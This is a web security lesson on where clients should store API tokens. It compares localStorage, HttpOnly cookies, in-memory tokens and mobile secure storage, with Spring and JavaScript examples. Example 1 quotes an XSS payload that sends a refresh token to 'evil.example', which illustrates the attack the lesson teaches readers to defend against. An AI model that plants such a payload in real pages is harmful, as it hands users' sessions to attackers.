Where clients should store tokens
40 min · Advanced
Need help? Ask a tutor on WhatsApp (opens in a new tab)A token is worth exactly as much as the place it is kept. Whoever can read it can call the API as that user, so every client must ask which script, which site and which file can reach it.
localStorage and XSS: any script on the page can read it
XSS (cross-site scripting) is an attack in which a stranger gets their own JavaScript to run inside your page, for example through a product review or a profile name that the page shows without escaping.
Many tutorials keep the token in localStorage because it is easy. The web-app code below does that, and then a product review shows how one bug leaks it.
Example 1 · A token in localStorage meets an XSS bug
Runs in: a browser web page calling the shoplite-api
// The ShopLite web app, version 1: keeps both tokens in localStorageconst res = await fetch("http://localhost:8080/api/v1/auth/login", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ email, password })});const tokens = await res.json();localStorage.setItem("accessToken", tokens.accessToken);localStorage.setItem("refreshToken", tokens.refreshToken);// One product review contains HTML that the page shows without escaping:// <img src=x onerror="fetch('https://evil.example/steal?t=' + localStorage.getItem('refreshToken'))">// The browser runs it as part of the ShopLite page, with full access to localStorage.What the attacker's server receives when any signed-in user opens that product page: GET /steal?t=Olw-UZp3R4h5yifGkTn_UxXAt5KgZhtGvCgJB4OqwAU With that refresh token the attacker calls POST /api/v1/auth/refresh from their own laptop and gets fresh access tokens for days - no password, no browser of the victim needed.
What this code does
- The login code is normal; the problem is a different bug, a review shown as HTML, which lets a stranger's script run in the page.
- The injected script reads
localStoragejust like the app itself can and sends the refresh token to the attacker. - Because a refresh token lasts days, one XSS bug becomes days of access to the account.
localStorage is a small key-value store in the browser, kept per site, that survives reloads. Its weakness: every script on the page can read it with localStorage.getItem(...).
The injected script can also come from a hacked third-party script such as an analytics or chat widget. It reads the token and sends it away, and a stolen refresh token is worth days of access from the attacker's own computer. The fix for XSS itself is escaping output and a Content Security Policy; the storage choice decides how bad an XSS bug is.
HttpOnly cookies: safe from scripts, but CSRF is back
HttpOnly is a cookie attribute that hides the cookie from JavaScript: document.cookie does not show it, so an XSS script cannot copy it. The browser still sends it with matching requests.
A cookie that scripts cannot read removes the XSS theft. Spring builds the Set-Cookie header with ResponseCookie; the program below sets it for ShopLite's refresh token.
Example 2 · RefreshCookieDemo: an HttpOnly refresh cookie with ResponseCookie
Runs in: a Maven project with spring-web 7.0.9 (the shoplite-api dependencies)
import java.time.Duration;
import org.springframework.http.HttpHeaders;import org.springframework.http.ResponseCookie;
/** The Set-Cookie header a browser-facing API would send with the refresh token. */public class RefreshCookieDemo {
public static void main(String[] args) { String refreshToken = "rg-JklP8sOyF4GNvadIv84T6VU6ANh1OPK5nh7tp6Qs";
ResponseCookie cookie = ResponseCookie.from("shoplite_refresh", refreshToken) .httpOnly(true) // JavaScript cannot read it .secure(true) .sameSite("Strict") // not sent on requests started by other sites .path("/api/v1/auth") .maxAge(Duration.ofDays(7)) .build(); System.out.println(HttpHeaders.SET_COOKIE + ": " + cookie);
// Logout: the same cookie with an empty value and Max-Age=0 tells the browser to delete it ResponseCookie delete = ResponseCookie.from("shoplite_refresh", "") .httpOnly(true).secure(true).sameSite("Strict").path("/api/v1/auth") .maxAge(0) .build(); System.out.println(HttpHeaders.SET_COOKIE + ": " + delete); }}Set-Cookie: shoplite_refresh=rg-JklP8sOyF4GNvadIv84T6VU6ANh1OPK5nh7tp6Qs; Path=/api/v1/auth; Max-Age=604800; Expires=Fri, 23 Oct 2026 08:29:20 GMT; Secure; HttpOnly; SameSite=Strict Set-Cookie: shoplite_refresh=; Path=/api/v1/auth; Max-Age=0; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Secure; HttpOnly; SameSite=Strict
What this code does
HttpOnlyhides the cookie from JavaScript,Securekeeps it off plain HTTP,SameSite=Strictkeeps it off requests from other sites, andPathsends it only to the auth endpoints.Max-Age=604800is 7 days, the refresh token's lifetime; theExpiresdate depends on when you run it.- Logout sends the same cookie with
Max-Age=0, which tells the browser to delete it. In a controller you would add it withResponseEntity.ok().header(HttpHeaders.SET_COOKIE, cookie.toString()).
Add Secure (sent over HTTPS only), SameSite=Strict (not sent on requests started by other sites) and a narrow Path, and the cookie goes only where it is needed. The catch: the browser now sends the token by itself with every matching request, from any page. That is exactly the situation CSRF exploits, so the endpoints that read the cookie need CSRF protection again (a CSRF token, or at least SameSite plus checking the Origin header). The rule from the CSRF lesson still holds: if the browser sends credentials automatically, you need CSRF protection.
An XSS script can still make requests from the victim's open page while it runs; HttpOnly stops it from taking the token away for later.
Predict the output
What can the injected script read?
Read the code and pick what it prints.
Round 1 of 2
Line 1 is the app. Line 2 runs in an attacker's script injected into the page. What does stolen hold?
SameSite=Strict also stops the cookie on normal links from other sites. For a refresh endpoint that is fine: it is called by your own JavaScript, never by a link.In-memory access token plus HttpOnly refresh cookie
A common compromise for single-page apps keeps the short access token in a variable and the refresh token in an HttpOnly cookie. The web-app code below shows that second version.
Example 3 · Access token in memory, refresh token in a cookie
Runs in: a browser single-page app with a cookie-based refresh endpoint
// The ShopLite web app, version 2: access token in memory, refresh token in an HttpOnly cookielet accessToken = null; // a variable: gone when the tab closes, invisible to other tabsasync function refresh() { const res = await fetch("https://api.shoplite.example/api/v1/auth/refresh", { method: "POST", credentials: "include", // send the HttpOnly shoplite_refresh cookie headers: { "X-XSRF-TOKEN": readCsrfCookie() } // the cookie needs CSRF protection again }); if (!res.ok) { showLoginPage(); return; } accessToken = (await res.json()).accessToken; // the body has no refresh token any more}async function api(path) { if (!accessToken) await refresh(); // after a page reload, refresh once return fetch("https://api.shoplite.example" + path, { headers: { Authorization: "Bearer " + accessToken } });}Reload of the page (DevTools, Network tab): POST /api/v1/auth/refresh 200 Cookie: shoplite_refresh=... (sent by the browser) GET /api/v1/me 200 Authorization: Bearer eyJ... DevTools, Application tab: Local storage (empty) Cookies shoplite_refresh HttpOnly Secure SameSite=Strict Path=/api/v1/auth document.cookie in the console: "" (HttpOnly cookies are not visible to scripts)
What this code does
accessTokenis a plain variable: nothing is written tolocalStorage, and a reload simply triggers one refresh.credentials: "include"lets the browser send the HttpOnly cookie; the page itself can never read it.- The refresh call carries a CSRF header, because the cookie is sent automatically. The other API calls use the
Authorizationheader and need no CSRF token.
The refresh cookie is limited to /api/v1/auth. The access token is never written to storage, so it disappears when the tab closes and a script cannot find it lying around. After a page reload the variable is empty, so the app calls /auth/refresh once; the browser adds the cookie, and the API answers with a new access token in the body.
Only the refresh and logout endpoints read the cookie, so only they need CSRF protection; every other endpoint still uses the Authorization header and stays CSRF-free. ShopLite's API in this module returns the refresh token in the JSON body, which is right for mobile apps and tools such as curl; the CORS module's browser client discusses the cookie variant.
Mobile apps: the platform's secure storage
Keychain / Keystore are the secure storage of iOS and Android. The iOS Keychain encrypts items and can require an unlocked phone; the Android Keystore keeps the encryption key inside secure hardware.
Phones have no XSS in the browser sense, but tokens in plain files or shared preferences can be read from backups, by malware on rooted phones, or with a USB cable and developer tools.
The pattern is the same as on the web: the refresh token goes into secure storage, the access token can stay in memory, and logout deletes both locally and calls /api/v1/auth/logout. Never put tokens in logs, crash reports or analytics events.
Sending the token: the Authorization header, never the URL
A URL like /api/v1/me?access_token=eyJ... looks convenient. The commands below send the same valid token in the URL and in the header.
Example 4 · The same token in the URL and in the header
Runs in: the shoplite-api Spring Boot project
# Token in the URL: Spring Security ignores it by defaultcurl -i "http://localhost:8080/api/v1/me?access_token=$TOKEN"# Token in the Authorization headercurl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080/api/v1/me -H "Authorization: Bearer $TOKEN"HTTP/1.1 401
WWW-Authenticate: Bearer resource_metadata="http://localhost:8080/.well-known/oauth-protected-resource"
Content-Type: application/problem+json
{"type":"https://shoplite.example/problems/unauthorized","title":"Unauthorized","status":401,"detail":"Sign in to use this endpoint.","instance":"/api/v1/me"}
200What this code does
- In the URL the token is ignored: the request counts as anonymous and gets 401 "Sign in to use this endpoint."
- The identical token in the
Authorizationheader gives 200. - Do not switch on
allowUriQueryParameter: a token in a URL ends up in logs, history andRefererheaders.
The token travels in Authorization: Bearer <token>. URLs are written to server access logs, proxy logs and browser history, shown in screenshots, and sent to other sites in the Referer header, and each of those is a copy of the token. Spring Security agrees: BearerTokenAuthenticationFilter ignores the access_token query parameter unless you switch it on on purpose, so leave it off.
Always use HTTPS as well: a bearer token over plain HTTP is visible to anyone on the hostel Wi-Fi.
Next step
Check your understanding
11 quick questions